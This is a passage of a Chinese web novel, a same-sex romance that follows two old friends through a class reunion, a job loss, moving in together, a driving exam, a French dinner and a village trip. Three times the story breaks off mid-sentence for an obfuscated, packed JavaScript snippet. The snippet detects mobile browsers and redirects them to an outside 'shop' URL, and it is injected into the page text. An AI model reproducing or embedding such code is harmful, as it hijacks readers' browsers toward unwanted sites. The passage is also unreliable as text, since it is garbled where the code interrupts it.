“哈哈哈,逗你的,瞧你吓的。”乔梦书看柯向阳那副惊吓过度的表情,乐不可支。 柯向阳愤怒地瞪了他一眼,毫无杀伤力。 “你们晚上吃什么?要不要一起?我请客。”乔梦书看看时间,差不多到饭点了。 柯向阳举手:“那我要吃满汉全席。” “满身大汉那种满汉全席吗?”乔梦书压低声音道。 “好了,小嘴巴,闭起来。”柯向阳伸手夹住乔梦书的嘴唇,心想这顿饭不吃也罢,再和乔梦书待下去,真的要被掀个底儿掉,“今天不跟你们吃了,下次再约。” “行吧,那我们先走啦,拜拜。”乔梦书了然地点点头。 “怎么不跟他们一起?”厉时修等人走远了才开口问道。 “你跟他们又不熟,我怕你不自在。”柯向阳也很少跟厉时修的朋友接触,毕竟都不是一个阶层的,“那个游戏群也不是非加不可,我估计他没两天就把那个群给忘记了。” “没关系,他们打得挺好的,偶尔一起玩玩也挺有意思。” “你开心就好,晚上想吃什么?”商场三楼就是各类餐饮店,两人绕了一圈,收获了一叠厚厚的传单。 “你之前不是一直想吃日料自助?就吃那个吧。” “是我要请你吃饭,说你想吃的啊。”厉时修不爱吃海鲜,去吃日料自助简直浪费。 “随便。” 商场里大多是连锁餐馆,柯向阳想了想,之前跟同事聚餐吃过一家私房菜还不错,离这也不远,可以吃完再回来开车,正好免去找停车位的麻烦。 原以为今天的偶遇次数已经用完,没想到正走在路上,又来了一次偶遇,这次的对象正是同样要去那家私房菜馆参加聚会的高中老同学。 4. 同居 “厉时修?柯向阳?” 有些陌生的声音响起,带着两分迟疑,两人循声望去,皆是一愣。 “真是你们!你们也来参加同学聚会吗?”男人惊喜道。 柯向阳和厉时修对视一眼,从对方眼中看出了同样的疑惑——这人谁? “我是程嘉弘呀,你们不记得我了?高二那会坐你们前面的啊。”程嘉弘倒是一点不介意被两个老同学忘记,毕竟高中毕业后,他们整整七年没见过了。 柯向阳有点印象了,只是那会自己的前桌是个小胖子,实在难以和现在这个身材标准的男人联系在一起:“啊,你瘦了好多,我都没认出来。” “是吧,我瘦了五十斤呢,你俩倒是没什么变化,我一眼就认出来了。”程嘉弘笑呵呵的,总算从白净的脸上透出几分当初那个小胖子的影子,“走啊,一起过去。” 面对程嘉弘那张热情洋溢的笑脸,柯向阳实在说不出他们只是碰巧要去吃饭的话,只能在心里默默后悔为什么没有多看一眼群聊里的聚会地址。 “我记得时修你高考完就出国了,现在是回国休假还是以后都在国内发展了啊?” “回来发展。”厉时修言简意赅。 “回来好啊,以后可以多出来聚聚,不过你俩感情还真好,这么多年了还是形影不离的。”程嘉弘由衷叹道。 说起来柯向阳高中时期和班上大部分同学的关系都算不上好,除了厉时修,就只有程嘉弘这个跟谁都能聊两句的话痨会主动跟他搭话。 此刻程嘉弘还在喋喋不休地询问厉时修这些年的情况,对他在英国深造的经历表示艳羡。 厉时修虽不怎么回应,但柯向阳知道他这个态度已经算很友好了。 “向阳你呢?现在在做什么呢?”程嘉弘不忘关心一下柯向阳。 “就是公司行政。”柯向阳含糊道。 “你一直在鹤水市吗?” “嗯,是啊。” “平时都没看见你们在群里说话,没想到这次聚会你们也来了,真好啊。”程嘉弘的喜悦是发自内心的,“工作之后就格外怀念读书的时光,你们是不是都不用□□了?咱们加个微信吧,以后多联系呀。” 柯向阳掏出手机打开二维码:“加我的吧,我把厉哥微信推你。” “行。” 程嘉弘就这么一路聊着把两人带到了聚会的包厢,里面已经坐着不少人了,在看见柯向阳和厉时修时,包厢里的热闹氛围像被按下暂停键一样,变得十分寂静。 柯向阳本以为这种场合会很尴尬,但大家马上就向他们表达了热烈的欢迎。 包厢里有三张大圆桌,厉时修带柯向阳就近坐下,桌上只有几盘开胃小菜,酒倒是开了好几瓶。 好几个老同学来跟他们搭话,大家问得最多的就是各自的近况,没有想象中的攀比和炫耀,也没有冒犯的话题和不知分寸的劝酒行为,气氛还算和谐。 时隔多年,被社会打磨过的众人早就不复高中时的年少轻狂,就算曾经有什么不愉快,也都随时间的流逝消散了。 他们班一共五十多人,今天来聚会的差不多有一半,等人到齐,服务员开始陆续上菜,点菜的同学明显是懂行的,点的都是柯向阳想吃的。 “他们家的黑豆腐是特色,很好吃,你尝尝。”柯向阳小声向厉时修推荐。 “吃了,不错。”厉时修给他舀了碗竹笙老鸭汤。 “藤椒手撕鸡也好吃。” “好。” “炸小黄鱼是他们家招牌,那个酱汁很特别。”厉时修不喜欢吃海鲜,但柯向阳很喜欢这家店的炸小黄鱼,就想让他也尝一尝。 “你的分我一点就行。” 柯向阳折下小黄鱼的尾巴部分,放到厉时修碗里,炸得酥脆的鱼尾不需要吐骨头,比较方便。 “要不要吃点炒粉?”炒粉算主食,生怕厉时修吃不饱的柯向阳给他装了满满一碗。 厉时修给柯向阳换了个骨碟:“你别管我,吃你的。” 柯向阳一直在吃,还喝了点酒,这会肚子已经饱了。 酒过三巡,大家聊完同班同学的事,又开始聊起自己知道的其他班同学的八卦。 坐在柯向阳另一侧的是班里的宣传委员林清,她跟身边的女生聊到当初的年级第一出柜了,现在已经和爱人去国外定居。 柯向阳一口老鸭汤差点喷出来。 “现在这社会真是越来越开放了,要是以前,同性恋哪能这么容易被接受啊,向阳你说是不是?”林清回头朝他问道。 “是啊,社会和人都在不断进步嘛。”柯向阳应道。 “不过这也只是一个性取向罢了,只要别乱搞别骗婚,人家爱跟谁谈恋爱都是他们的自由,轮不到别人指手画脚。”林清举起酒杯跟柯向阳碰了一下。 说者无意,听者有心,柯向阳觉得林清说话太中听了,由衷赞道:“要是大家都有你这种思想,离世界和平就不远了。” 林清被逗得捂嘴直笑,双眸染上些酒意:“几年没见,你都变得这么会说话了,可比以前讨喜多了,有对象吗?没有的话我给你介绍一个?” “不用不用,我有喜欢的人了,只是还没追到。”柯向阳无奈,怎么老有人要给他介绍对象啊? 说到喜欢的人,目光不由偷偷瞥向厉时修,却见厉时修正微微拧着眉,一副不耐烦的样子。 怎么又不高兴了?柯向阳在心里嘀咕着,想起刚刚林清说的话,总不能是恐同到听见同性恋三个字都会生气吧? “你还会主动追人啊,真是想象不出来。”林清摇摇头,又倒了一杯酒。 “没有经验,瞎追。”柯向阳就这么随口一说,他哪敢追啊,“你少喝点,等会有人接你吗?” “我朋友会来,别担心,厉时修,你怎么不喝酒啊?” “他开车了,不能喝。”柯向阳解释道。 “叫个代驾不就好了,这人还是老样子,一晚上没看见个笑脸,你怎么跟他玩那么多年的?”林清虽有要压低声音的自觉,但不多,说的话被厉时修一字不漏地听进去了。 厉时修眯了眯眼,不打算跟醉鬼计较。 柯向阳光顾着和林清聊天,没注意到厉时修身边的程嘉弘也在跟他聊着什么。 吃饱喝足,聚会还有第二场,经典的唱k环节。 柯向阳和厉时修没打算参加,陪着林清一起在店门口等她的朋友来接她。 送走林清,他们还要走到商场的停车场。 柯向阳打开微信,程嘉弘热心地把他们拉进了微信的班群,一晚上没看手机,里面的消息已经99+了,赶紧打开消息免打扰。 厉时修今天开了辆宾利的跑车,柯向阳对车子了解不多,只能肤浅地进行一番好不好看的评价。 车子缓缓驶出停车场,开上马路。 柯向阳正想说今晚回自己家,厉时修却先一步开口叫了声:“小柯。” “嗯?” “你是不是有什么事瞒着我?” 柯向阳顿时觉得头皮发麻,第一反应就是厉时修发现自己喜欢他了,随后又冷静下来,他明明隐藏得很好,应该不是这个。 在他大脑疯狂运转的时候,厉时修再次开口:“明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171825|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天要上班吗?” 柯向阳刚想说要,厉时修又问了句:“你们公司被收购这件事,你想瞒我到什么时候?” 柯向阳闻言反倒有种松了口气的感觉:“你怎么知道的?” “程嘉弘跟我说起你们公司被星海集团收购的事了,他有个朋友就是星海的,你们部门被整个裁掉了吧?” 柯向阳万万没想到厉时修会以这种方式知道自己失业的事,千防万防,防不住一个交际圈广的老同学跟他聊八卦。 “离职为什么不告诉我?” 柯向阳也不知道为什么,大概是因为这次离职不是他主动的,被裁员说出去怎么都不好听,尤其是在厉时修面前,他神经再大条也会觉得很丢人。 见柯向阳又摆出一副拒绝沟通的模样,厉时修啧了一声:“我不骂你,你给我说说今后的打算。” 柯向阳开始低头玩手指。 “没打算?正好,工作的事先放一放,你最近可以专心备考了。” 柯向阳:“?” “找房子的事也先放一放,你都没找到工作,房子的位置到时候不合适怎么办?” 柯向阳:“……” “明天回去收拾东西,先住我那,一切等你考完驾照再说。” 好有道理,无法反驳。柯向阳感觉从厉时修的语气里听出了一丝轻快,狐疑的目光转到厉时修脸上,对方依旧是那副面无表情的样子,看来只是错觉。 * 厉时修的行动力一向很强,第二天柯向阳就被他逼着整理行李,将出租屋里里外外收拾了一遍,还找了个钟点工来做卫生。 柯向阳的东西不多,又处理了一大堆旧物,最后搬上车的只有两个大蛇皮袋和一个行李箱。 为了不耽误齐朔那的房子出租,柯向阳搬完家的第一件事就是给他发消息,告诉他自己暂时不需要租房了。 齐朔爽快地回复了个“好”,也没问他为什么。 就这么和厉时修同居了,躺在那张舒适的真皮大沙发上,柯向阳还觉得有些不真实。 厉时修这次回国是为了接管鹤水市的分公司,手里有许多资料要看,并不急着去公司上班。 柯向阳虽然很高兴能跟厉时修时时刻刻待在一起,但在厉时修的逼迫下反复刷题却是件折磨的事。 “这个月底把科一考完,五一带你出去玩。”厉时修见柯向阳一副焉了吧唧的样子,不得不给他一点激励。 “去哪玩?”柯向阳来了兴趣,之前厉时修不在国内,他一个人根本没有出远门的想法,只被乔梦书拉着在鹤水市周边玩了一圈,现在厉时修回来了,他又正好没有工作,两人可以来一场正儿八经的旅游了。 厉时修单手撑着下巴问:“你想去哪?” “不知道,五一旅游的人很多吧,高速会堵车,票也不好抢,是不是等五一过后再出门好一点?”柯向阳兴奋完又开始考虑起现实问题。 “那就我来安排,现在有动力刷题了吗?” 柯向阳嘿嘿一笑,为了彰显自己的认真,终于从沙发上坐起身来。 干刷题目无聊又低效,柯向阳不舍得花钱买课,便上网搜索免费的讲解视频。 视频里的老师会教很多解题技巧,有些题目甚至不需要思考,看到关键字就可以直接选答案了,做起题来既快又准。 厉时修提醒他,这只是为了应付考试的技巧,有些知识点还是得记在脑子里,学车不比别的,要为自己和他人的安全负责。 柯向阳嘴上应好,心里却一点都不担心,等他开上车,厉时修一定会坐在副驾驶全程指导他的。 5. 法餐 为了准备得充分点,柯向阳预约了一周后的考试,连刷两天题,他开始后悔没约早点了。 乔梦书知道柯向阳搬家的事,立刻怂恿他主动出击:【反正你也没想和别人谈恋爱,那就努努力,把霸王龙掰弯。】 柯向阳:【掰不弯怎么办?】 上班时间的乔梦书一般都是秒回消息:【那就连朋友都别做了。】 柯向阳发了个崩溃大哭的表情过去。 乔梦书:【说实话,我觉得以你们现在的相处模式看,早就超越朋友的范畴了,霸王龙真不是gay吗?】 柯向阳:【肯定不是啊,上次同学聚会,有人聊到同性恋的话题,他还很不高兴的样子。】 乔梦书:【那有没有可能他虽然不是同性恋,但是正好喜欢你呢?】 此时此刻柯向阳多希望乔梦书说的是真的啊。 还没来得及回复,乔梦书的消息又来了:【再说了,近水楼台先得月,你都住进人家家里了,这不是天然的优势吗?什么都不做也太浪费了。】 柯向阳心动了:【那我要怎么做?】 乔梦书:【先试探一下,多制造点肢体接触的机会,看他反不反感。】 柯向阳想了想,他和厉时修的肢体接触已经算频繁了吧。 乔梦书:【不是那种朋友之间的肢体接触,得是暧昧的,色情的,能让人起反应的那种。】 柯向阳:【那不是性骚扰吗?】 乔梦书的消息突然就停下了,不知道是被领导抓包了还是无语住了。 柯向阳也不着急,切回刷题软件,顺便了解下科二科三的考试项目。 没一会,屏幕上方又跳出消息提醒:【那你试试卖萌呢?直男对同性的卖萌都受不了的,以他的个性,要是完全不嫌弃你,那指定对你有点意思。】 柯向阳:【真的假的?要怎么卖萌啊?】 乔梦书发来一个视频,柯向阳点开一看,顿时一阵恶寒涌上心头,这种卖萌方式,别说直男了,他这个基佬也受不了啊! 乔梦书:【这个是错误示范,别像上面那个视频那样就行,其他的你自己发挥吧。】 柯向阳无语。 乔梦书:【不跟你说了,我们经理又开始没事找事了,等我晚上回去打游戏。】 柯向阳:【去吧。】 结束了和乔梦书的扯皮,柯向阳认真思考起“卖萌”这个提议的可行性。 他不知道厉时修的理想型是什么样的,这些年也没见他谈过对象,该不会对男女都没兴趣吧? 真是这样就好了,与其看着喜欢的人和别人在一起,还不如看他孤独终老。 想到这里,柯向阳立即唾弃起自己的阴暗念头,忙闭上双眼,双手合十,祈祷老天别当真,他是诚心希望厉时修可以得到幸福的。 只是在此之前,他也可以为自己的幸福小小地争取一下。 打开网页,搜索与卖萌相关的内容,一条教人夹着嗓子说话的视频以超高的热度排在前列。 柯向阳好奇地点进去,有模有样地跟着教程调整自己的声线,发出的声音却十分不对劲。 他重点练习了“哥哥”两个字,感觉嗓子都夹冒烟了,想起身去倒杯水,一抬头,厉时修正站在书房门口双手抱胸一脸不理解地看着他。 柯向阳脸上的笑容顿时凝固:“你听我解释。” 厉时修神色复杂:“不用解释,你开心就好。” 柯向阳:“……” * 吃完晚饭,厉时修回书房继续工作,柯向阳仍沉浸在先前的尴尬中无法自拔,直到乔梦书喊他打游戏。 这几天刷多了题,连平时兴趣不大的游戏都变得格外吸引人,柯向阳上线接受邀请,发现房间里只有他和乔梦书两人。 柯向阳问:“你对象呢?” “去跟同学聚餐了,怎么?你想跟他玩啊?” “我怕你带不动我。”柯向阳老实说道。 “你等着,让我用实力说话。” 看着屏幕上大大的“失败”二字,柯向阳终于忍不住了:“你到底想用实力说什么?” “是匹配到的队友太菜了好吧,你看看这个1-8的射手,神仙来了都带不动。”乔梦书愤怒地给除了柯向阳以外的每个队友都点了举报,“你家霸王龙呢?喊他来,我们三排。” “他在工作啊。” 两人边打边聊,又输了两局。 柯向阳上周末五排打上去的星,一晚上就输光了:“早说了你带不动我,我们还是打娱乐模式吧。” 乔梦书咬牙道:“娱乐模式有什么意思?你等会,我拉一下齐朔,看见他在线了。” “他没跟你对象去聚餐吗?”齐朔和徐佑是同学,又都是校篮球队的,按理说应该会一起行动。 “不知道,可能有事吧。”乔梦书没想那么多,他现在满脑子都是游戏必须赢。 有了强劲打野的加入,这游戏终于恢复了它应该具备的趣味性。 连续打两个小时游戏,柯向阳感觉手指都僵了:“不玩了吧,我累了。” 乔梦书知道他的尿性,还是忍不住吐槽:“你的持久性也太差了。” “我这叫点到为止。”柯向阳退出游戏,跑到书房门口敲了敲门。 “进来。” 柯向阳只探进个脑袋朝他问道:“厉哥,吃宵夜不?” “你想吃什么?”厉时修推了推鼻梁上的眼镜,他近视不严重,只有长时间工作的时候会戴一下。 “我去煮泡面吧。”之前的出租屋太小,实在不适合开伙,柯向阳便经常用小煮锅煮泡面吃。 “可以。”厉时修点点头,摘下眼镜,准备休息。 柯向阳立马兴冲冲地去了厨房。 厉时修的房子是三百多平的大平层,开放式的厨房里,操作台以哑光白色岩板铺就,下方是嵌入式的蒸烤箱、洗碗机,另一侧的灶台边上有个双开门大冰箱,里面填满了新鲜食材。 柯向阳打开冰箱门,只拿出两个鸡蛋。 煮泡面没什么技术含量,烧水下面打鸡蛋,再加入现成的调料包。 以往柯向阳是无所谓加蛋时机的,但厉时修喜欢吃溏心的,他便特地多煮了一会面才往里面打蛋。 关了火,正想拿碗捞面,厉时修已经端着碗从他手里接过筷子:“我来。” “哦。”柯向阳被厉时修从身后环住,后背不小心碰到结实的胸肌,整个人不由自主地开始升温。 “很热吗?脸这么红?”厉时修垂眼看向柯向阳。 柯向阳伸手捂住脸:“锅里热气一直往我脸上扑。” “你没开抽油烟机?” “……忘了。” “笨死了。” 厉时修的呼吸自上而下喷洒在柯向阳耳后,犹如一阵电流钻进体内,引起他的一阵颤栗。 这算是乔梦书提到的暧昧的肢体接触吗?吃面时柯向阳还在胡思乱想,一口面吹了半天都没放进嘴里。 “你不会是在面里下毒了吧?”厉时修怀疑地看着自己吃了一半的面。 “怎么可能!”柯向阳回过神,“我只是在想今天刷的易错题,没挂号牌扣几分来着?” “故意遮挡、污损号牌,未悬挂号牌都是扣9分,不按规定安装号牌扣3分,我都记住了,你刷的题难道全刷进我脑子里了吗?”厉时修目光不善地看着柯向阳。 “……”柯向阳大口吸溜起面条,表示自己的嘴很忙,没空回答了。 “今年去给奶奶扫墓了吗?”厉时修又问,以前他去柯向阳家里过夜的时候,奶奶就常常这样准备宵夜给他们吃。 “清明的时候去了,帮你也买了一束花。”柯向阳笑笑,他知道厉时修也很想念奶奶。 “嗯。” “厉哥,你一会还要去忙吗?” “不用了,怎么?” “看电影不?”柯向阳想到乔梦书推荐的一部外国高分悬疑电影,不太敢自己一个人看。 “可以。” 于是柯向阳去洗碗,厉时修到许久未曾使用过的影音室里调试设备。 电影开头是主角一家的日常生活,随着小镇上的离奇事件发生,主角一家开始频繁遇见怪事。 洗碗时还想着可以利用电影的恐怖氛围跟厉时修来点亲密接触的柯向阳,此刻完全就被剧情吸引,看得格外认真。 眼见主角随着背景音乐的节奏一步一步接近反派的藏身之处,柯向阳不由放缓呼吸,把自己缩成一团,手里抓着个抱枕随时准备举起挡在眼前。 虽然早有心理准备,可当反派突然出现在主角身后,柯向阳还是忍不住惊呼一声,只觉心脏都要跳出来了。 电影结束,柯向阳重新坐直身体,发现背后已经渗出一层薄汗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171826|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到厉时修催着他去洗澡,柯向阳才想起自己洗碗时的打算。 睡前跟乔梦书提起这事,得到一顿无情的嘲笑。 * 转眼就到了考试这天。 柯向阳约的是下午场,有驾校的校车接送,便没让厉时修送他。 进考场前要把所有的随身物品寄存在外面的寄存柜里,除了身份证,身上啥东西也不能带。 柯向阳本以为有时间再复习一会,这下无聊得只能坐在候考厅看墙皮。 考前半个小时有工作人员来介绍考试注意事项,还给考生们播放了各种交通事故的案例,引以为戒。 到点后,工作人员按照座位安排考生进场,柯向阳倒霉地坐在最后一块区域,又多等了近一个小时,肉眼可见地焦躁起来,感觉脑袋里记的知识点都要随着时间的流逝离他而去了。 等待两小时,做题十分钟。 考试的题目比模拟考的简单多了,满分通过的柯向阳在出口处签完名,迫不及待地取出手机,第一时间告诉厉时修这个好消息。 “你出来了吗?”厉时修直接打了电话过来。 “在走了。”柯向阳朝着停车场的位置走去。 “看见你了。” “你来了?”柯向阳抬起头四处张望,随后看见不远处靠着车身的男人。 “带你去庆祝一下。”厉时修眼里带着笑意。 “万一我没考过呢?”柯向阳好奇问道。 “没考过就带你去吃香菜火锅。”厉时修凉凉地看了他一眼。 柯向阳捂住嘴巴:“这也太狠了。” 厉时修带柯向阳去了一家还在试营业的西餐厅,是他朋友开的。 进入餐厅大门,迎面就是一个转角的酒柜,里面陈列了许多有名的葡萄酒。 这家餐厅主营法餐,主厨是老板从二星米其林餐厅挖来的。 老板算是厉时修的发小,叫纪向松,亲自出来招待他们,带他们去了视野最好的包间,等到夜幕降临,就可以看见鹤水市美丽的夜景了。 菜品可以单点,也可以直接点套餐,有1988和2688两个价位,厉时修要了两份2688的套餐。 酒是另外点的,本来没想喝酒,但纪向松给他们送了一瓶。 服务员开始陆续上菜,纪向松正准备为他们详细介绍每个菜品,被厉时修毫不客气地赶出去了。 法餐的特点就是精致,量小。 柯向阳吃了几道前菜,都没咂吧出味来,不过主食还是不错的,尤其是炙烤蓝龙和红酒炖牛肉,入口的瞬间就觉得十分惊艳。 厉时修问:“怎么样?吃得习惯吗?” “挺好的,环境也好。”要不是厉时修带他来,柯向阳觉得自己这辈子都不会进这种餐厅吃饭。 “你要是喜欢,以后再来。”厉时修晃了晃酒杯,抿了口酒。 “太贵了,偶尔吃一次就可以了。”柯向阳用配菜面包把盘子里的酱汁抹干净吃了,才有了点饱腹感。 甜点是巧克力舒芙蕾,用小火烤过,多了一层焦香,吃起来蓬松绵软,巧克力特有的苦涩很好地成为甜味的调剂品,柯向阳吃完还有些意犹未尽。 纪向松在他们吃完全部的菜品后又来询问意见,柯向阳说不出个所以然来,便着重夸奖了一番餐厅的环境,可以看出老板是个很有品味的人。 纪向松满意地点点头,转向厉时修。 厉时修用餐巾布擦擦嘴角,指出了一堆毛病,牛肉塔塔的酱汁酸味重了,奶油蘑菇汤太过浓稠有点腻,红虾刺身肉质不够脆弹,烤鸭胸肉火候太过有点老了。 他说的这些柯向阳一样都没吃出来,偷偷看了眼纪向松的表情,对方似乎也很习惯厉时修的说话方式,并没有表现出不满。 原以为老板是个虚心接受顾客意见的人,没想到下一秒纪向松就面带微笑来了句:“你丫的懂个屁!” 厉时修冷哼一声:“你这么粗俗的人就不适合开法式餐厅,还是去开催债公司吧。” “我看你是在英国吃多了猪食,现在品不了细糠了。” 两人的嘴一个比一个毒,柯向阳在一旁根本不敢吭声。 纪向松把账单丢给他:“给我把酒钱也算上。” “你不会就靠这种诈骗式的强买强卖来赚钱吧?” 最后以厉时修收获一个老板的中指结束了这次晚餐。 6. 旅游 考完科一,练车的计划也得提上日程。 因为五一要出去玩,柯向阳便联系教练想五一过后再去练车。 假期练车的人本来就多,难得有个主动不来的,教练自然连声说好,让他这两天有空先去刷学时。 学时要到练车场的办公室里刷,一天最多刷三个小时。 柯向阳从厉时修家楼下那个停着四五辆豪车的独立车库里骑出自己的小电驴,一路风驰电掣去了驾校的练车场。 跟柯向阳一起刷学时的还有两个大学生,教练教会他们用道具练习打方向盘后就去指导别的学员练车了。 柯向阳握着道具方向盘左一圈右一圈地来回打转,边上的两个大学生已经坐那打上游戏了。 他一个人的时候不喜欢打游戏,容易挨骂,只能在手机上刷刷视频。 连刷几个萌宠视频,柯向阳被猫猫狗狗萌得心尖直颤,想要养一只小猫的心思又冒了出来,狗狗他也喜欢,但是养狗的工程量太大了,不适合他。 之前他的出租屋条件不好,如今借住在厉时修家里,看来短时间内还是无法实现这个目标。 不能再看了,柯向阳强制自己退出视频软件,点开微信。 乔梦书也不知道在干嘛,不回消息,柯向阳无聊到开始看朋友圈了。 上次的同学聚会加了不少高中同学的微信,一定程度上丰富了他的朋友圈内容。 柯向阳挨个点赞,其中就属程嘉弘发的最多,吃的喝的玩的,连下班了都要发个自拍。 所以他给程嘉弘连点好几个赞,没一会就收到对方的消息。 程嘉弘:【你是在我朋友圈考古吗?】 柯向阳:【没有,我在刷自己的朋友圈,看到了就点个赞。】 程嘉弘:【那也不必连三天前的动态都点吧?】 柯向阳以为自己的行为给对方带来困扰了,态度诚恳地表示:【不好意思,下次不点了。】 程嘉弘:【不要不点啊,我就喜欢有人给我点赞,求求你给我点吧(双手合十)】 柯向阳:【……好吧。】 程嘉弘显然也是在上班期间摸鱼玩手机,聊了两句就没动静了。 柯向阳看看时间,距离今天的目标还有一个多小时,于是给厉时修发了个表情包,是一只苦着脸的小猫咪。 厉时修给他回了个双手抱胸的小白鸭,他的表情大多是从柯向阳那存的。 两人你来我往地发了十几个表情包,一句话也没说。 柯向阳不会卖萌,但是会存表情包。 他特地找了许多可爱表情包,每个都带着浓烈的撒娇意味,此刻轮番轰炸厉时修,对面终于发来一个问号:【?】 柯向阳:【好无聊(小狗晃脚)】 厉时修:【来打游戏。】 柯向阳:【你没在忙吗(小猫探头)】 厉时修:【我还不能休息了?】 柯向阳忍不住嘴角上扬,登录游戏。 他们俩对上分没有什么执念,选择娱乐模式还可以玩玩没有熟练度的英雄。 柯向阳没带耳机,身边还有别人,不好意思开麦,只能在局内用信号跟厉时修交流,饶是这样,他的嘴角也一直没下来过。 * 科二的理论学时要挂270分钟,怎么都得花两天得时间,等刷完科二的学时,五一假期也随之而来。 “厉哥,我们到底要去哪呀?”柯向阳背着个书包跟在厉时修身后,都到机场了,他还不知道此行的目的地。 “去阳安。”厉时修拖着装有两人行李的拉杆箱大步前行。 阳安是一座内陆城市,那里的金淮镇是非常出名的旅游胜地,镇上保留了大量的古建筑和文化遗址,柯向阳下意识地以为他们要去的地方就是金淮镇。 不过厉时修带他去的却是水泽镇的临永村。 水泽镇也算一座古镇,但并不出名,来这里旅游的人自然比不上金淮镇那么多。 临永村依水而建,长长的河流贯穿整个村庄,分为河东河西两个区域。 村里的河面上就有三座桥,一座可以通车的大石桥,一座步行的小石桥,还有一座最近才搭建起来的的简易木桥,正好连接着古码头。 河边是一条古香古色的长廊,上面挂着许多红灯笼,到了晚上灯笼亮起,照亮整个河面,也是一道美丽的风景。 长廊内的小道是用不规则的石块铺成,走起来有点硌脚。 柯向阳呼吸着清晨的新鲜空气,感觉整个人都得到了净化。 “厉哥,你怎么找到的这个地方?太漂亮了。”柯向阳举着手机,走两步就要停下来拍一张,连墙面上的青苔都觉得可爱。 他有些后悔没有买一台相机,好在手机的拍照功能越来越强大,拍出来的照片效果也很好。 “别人告诉我的。”厉时修跟在柯向阳身后,慢悠悠地走着。 “厉哥,你站那里,我给你拍一张。”柯向阳指着不远处的老旧屋门,上面挂着一个复古的铜锁,看起来很久没有住人的样子。 厉时修面无表情地站在门前,柯向阳拍了一张,又让他把墨镜戴上,换了个老照片的滤镜:“哇,这张拍得好有氛围感。” 说着把手机举到厉时修面前,亮晶晶的双眼里满是对夸奖的渴望。 厉时修接过手机,跟柯向阳掉了个位:“站好,我给你拍。” 柯向阳不会拍照,唯一的拍照姿势就是剪刀手,脸上的表情更是僵得像被人拿刀架在脖子上似的。 “笑。” 柯向阳咧了咧嘴,笑得比哭还难看。 厉时修:“……” 两人一路走来,经过的房子都是上了锁的,没看见几家住户,一直到古码头的位置,才看见一个老人家坐在门口摇着扇子。 “来玩呀?”老爷子笑咪咪地看着他们,主动打了个招呼。 “是啊,这里真好看。”柯向阳由衷赞道。 “好看吧,最近政府开始修房子了,等修好了更好看。”老爷子显然十分自豪。 “修房子?”柯向阳有些奇怪,这里都没几户人家住了,修房子干嘛? “政府要扶植这个地方的旅游业,最迟国庆节之前会开始进行宣传,到时候来这里的人就多了。”厉时修解释道。 柯向阳点点头:“原来如此,还好我们来得早。” 老爷子好奇地问:“你们从哪里过来的呀?” 柯向阳回:“鹤水市。” “挺远的啊,你们是亲兄弟吗?”老爷子又问。 柯向阳:“不是,我们是朋友。” “我瞅着也不像,两个小朋友感情真好,还会一起跑这么远来玩。”难得有人聊聊天,老爷子乐呵得很。 柯向阳不好意思地笑笑,给老爷子拍了几张照,又拉着厉时修跑到木桥上拍河面的风景,偶尔有人撑着竹排从桥底下穿过,还会对他们挥挥手。 见柯向阳一副感兴趣的样子,老爷子问他们:“想坐竹排吗?” “有这个项目吗?”柯向阳有点想坐,但看来看去都没发现有带客的。 “我带你们啊。”老爷子站起身,“不要钱嘞。” “不用不用,我们在边上看看就好了,爷爷您别站起来。”柯向阳吓得连连摆手,这他哪敢坐? “怎么?瞧不起爷爷呢?每年我都要带孙子孙女去划竹排的,来来来,你们去屋里一人搬一张竹椅子,等会放竹排上坐。”老爷子显然身体硬朗得很,根本不让他们帮忙,一个人就把停靠在岸边的竹排弄下河去了。 盛情难却,柯向阳和厉时修只能老老实实带上椅子上了竹排。 两人一前一后地坐在竹排上,老爷子高高兴兴地在排头撑竹竿。 看着老人家稳稳当当的动作,柯向阳突然想到厉时修说过的那句“八十岁大爷都比你身强体壮”,顿时觉得十分羞愧。 厉时修显然也跟他想到一起去了,嘴角满是压不住的笑意。 他们在河上绕了一圈,水浅一点的地方能看见很多小鱼,柯向阳尝试伸手去捞,指尖才碰到水面,水下的鱼群立刻四散开来,十分有趣。 回到岸上,老爷子热情地挽留他们吃午饭:“难得有客人来,我给你们做炒饼吃,这种饼是我们的特产,别的地方没有的。” 柯向阳看了眼厉时修,见他没有不乐意,便道:“谢谢爷爷,那我们就打扰了。” 两人跟到厨房去打下手,这房子看起来年代久远,但打扫得十分干净,厨房里用的还是柴火灶。 老爷子说的饼正一个个泡在水里,圆圆扁扁的,看起来特别厚实。 柯向阳正疑惑这么大个饼要怎么炒,就见老爷子拿出个削片器开始把饼刨成薄片。 “爷爷,我来吧。”这种事柯向阳自觉还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171827|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以胜任的,结果才刚动手,就被这圆饼的硬度给震惊到了。 